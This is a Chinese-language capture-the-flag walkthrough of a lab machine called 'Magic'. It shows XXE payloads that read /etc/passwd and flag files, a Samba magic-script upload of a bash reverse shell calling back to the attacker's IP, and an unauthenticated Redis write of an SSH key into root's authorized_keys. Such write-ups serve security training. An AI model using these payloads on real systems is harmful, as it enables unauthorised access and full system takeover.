

Magic

nmap扫描

```
└─(root kali)-[~]
└─# nmap -ss 192.168.31.67
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 09:21 EDT
Nmap scan report for Magic (192.168.31.67)
Host is up (0.00091s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 08:00:27:79:46:1E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
```

有smb服务

web是xxe漏洞

因为不知道用户名，所有先读取passwd查看一下有哪些用户

```
<!DOCTYPE data [
  <!ENTITY example SYSTEM "file:///etc/passwd">
]>
<data>&example;</data>
```

Process XML

Processing Result

```
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
redis:x:106:115::/var/lib/redis:/usr/sbin/nologin
tuf:x:1000:1000:,,,:/home/tuf:/bin/bash
</data>
```

This service processes XML documents with full feature support.

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY example SYSTEM "file:///home/tuf/user.txt">
]>
<data>&example;</data>
```

XML Input

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY example "Sample text value">
]>
<data>
    &example;
</data>
```

Process XML

Processing Result

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY example SYSTEM "file:///home/tuf/user.txt">
]>
<data>flag{user-5c9597f3c8245907ea71a89d9d39d08e}
</data>
```

获取shell

现在需要获取shell，但是xxe默认是无法执行命令的。

刚刚扫描的时候扫出来了一个smb服务。使用xxe读取一下配置文件

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY example SYSTEM "file:///etc/samba/smb.conf">
]>
<data>&example;</data>
```

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY example SYSTEM "file:///etc/samba/smb.conf">
]>
<data>[global]
    workgroup = WORKGROUP
    server string = Samba Server
    security = user
    map to guest = Bad User
```

```
[magic_upload]
  path = /srv/samba/upload
  writable = yes
  guest ok = yes
  guest only = yes
  force create mode = 0777
  force directory mode = 0777
  magic script = dashazi.sh
</data>
```

magic_upload允许写入，可以匿名访问，且经过测试上传文件名为dashazi.sh的时候会直接执行写入反弹shell到dashazi.sh

```
#!/bin/bash
/bin/sh -i >& /dev/tcp/192.168.31.190/7777 0>&1
```

```
(root@kali)-[/opt/tools]
# python3 penelope/penelope.py -p 7777
[+] Listening for reverse shells on 0.0.0.0:7777 → 127.0.0.1 • 192.168.31.190
> 🏠 Main Menu (m) 🧠 Payloads (p) 🧹 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from Magic~192.168.31.67-Linux-x86_64 📡 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 🍷
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/Magic~192.168.31.67-Linux-x86_64/2025_07_20-10_24_00-237.log 📄

nobody@Magic:/srv/samba/upload$ |
1
```

拿到shell

提权

```
nobody@Magic:/srv/samba/upload$ ss -tunl
```

Netid	State	Recv-Q	Local	Peer	Address:Port
udp	UNCONN	0			
0.0.0.0:68					0.0.0.0:*
udp	UNCONN	0			
192.168.31.255:137					
0.0.0.0:*					
udp	UNCONN	0			
192.168.31.67:137					
0.0.0.0:*					
udp	UNCONN	0			
0.0.0.0:137					0.0.0.0:*

udp	0	UNCONN	0	
192.168.31.255:138				
0.0.0.0:*				
udp	0	UNCONN	0	
192.168.31.67:138				
0.0.0.0:*				
udp	0	UNCONN	0	
0.0.0.0:138				0.0.0.0:*
tcp	128	LISTEN	0	
0.0.0.0:22				0.0.0.0:*
tcp	50	LISTEN	0	
0.0.0.0:445				0.0.0.0:*
tcp	50	LISTEN	0	
0.0.0.0:139				0.0.0.0:*
tcp	128	LISTEN	0	
127.0.0.1:6379				0.0.0.0:*
tcp	128	LISTEN	0	
:::22				:::*
tcp	50	LISTEN	0	
:::445				:::*
tcp	128	LISTEN	0	
:::1:6379				:::*
tcp	50	LISTEN	0	
:::139				:::*
tcp	128	LISTEN	0	
*:80				*:*

可以看到存在一个redis服务

fscan扫描一下

```
nobody@Magic:/tmp$ ./fscan_gw-cYPJhhxC -h 127.0.0.1
```

```

/ _ \   _ _ _ _ _ _ _ _ _ _ | | _
/ _ \ / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ /
/ _ \ / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ /
\ _ \ / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ / _ \ /
                                     fscan version: 1.8.4

start infoscan
127.0.0.1:139 open
127.0.0.1:80 open
127.0.0.1:22 open
127.0.0.1:6379 open
127.0.0.1:445 open
[*] alive ports len is: 5
start vulscan
[*] webTitle http://127.0.0.1          code:200 len:7534  title:XML Processor
[+] Redis 127.0.0.1:6379 unauthorized file:/root/.ssh/authorized_keys
[+] Redis 127.0.0.1:6379 like can write /root/.ssh/
[+] Redis 127.0.0.1:6379 like can write /var/spool/cron/

```

Redis 存在未授权访问风险，能访问/root/.ssh/authorized_keys 文件。

那么就写公钥

攻击机生成密钥对

```

ssh-keygen -t rsa -b 2048 -f id_rsa_redis -N ''
(echo -e "\n\n"; cat id_rsa_redis.pub; echo -e "\n\n") > payload.txt

```

登录redis

```

nobody@Magic:/tmp$ redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379>
127.0.0.1:6379>
127.0.0.1:6379> flushall
OK
127.0.0.1:6379> set crackit "\n\nssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQACZH2KD4lTemQ/qH9ClfBLIHtdG3d+JNnBqFBxJWr93L2F3XKFe
ljz9YgmV8w068fhufVZHXKNA4m8BZGJFgl/QbwGJlJVJuFG3ddmrOyw7oo0UzfTUighaMi8Js0Jp54nC
9Pyf330NwNyIPs+knqiykpQNirzuhCGxpydE6yS1sM5v11ZLsteQjUYyweBeEzflTMw+SwRivFWE3KvU
WLYcaYvOG1lorgNN7+ndorC0m6/0iTl1IbgssmUkj6pQmLx8r4x6PVZ/qY0mDjpvkDXl9NuVavacOX+r
6vElxJDjj404c7z7kEqL4OKMeEC1vQ/Pg3PZwwrAY+FOvDrLa6iz root@kali\n\n"
OK
127.0.0.1:6379> config set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

```

攻击机登录

```

ssh -i id_rsa_redis root@192.168.31.67

```

```
root@Magic:~# cat /root/root.txt  
flag{root-43777257653cd6cbacd6ff02ccfc1bc0}  
root@Magic:~#
```

```
> 1
```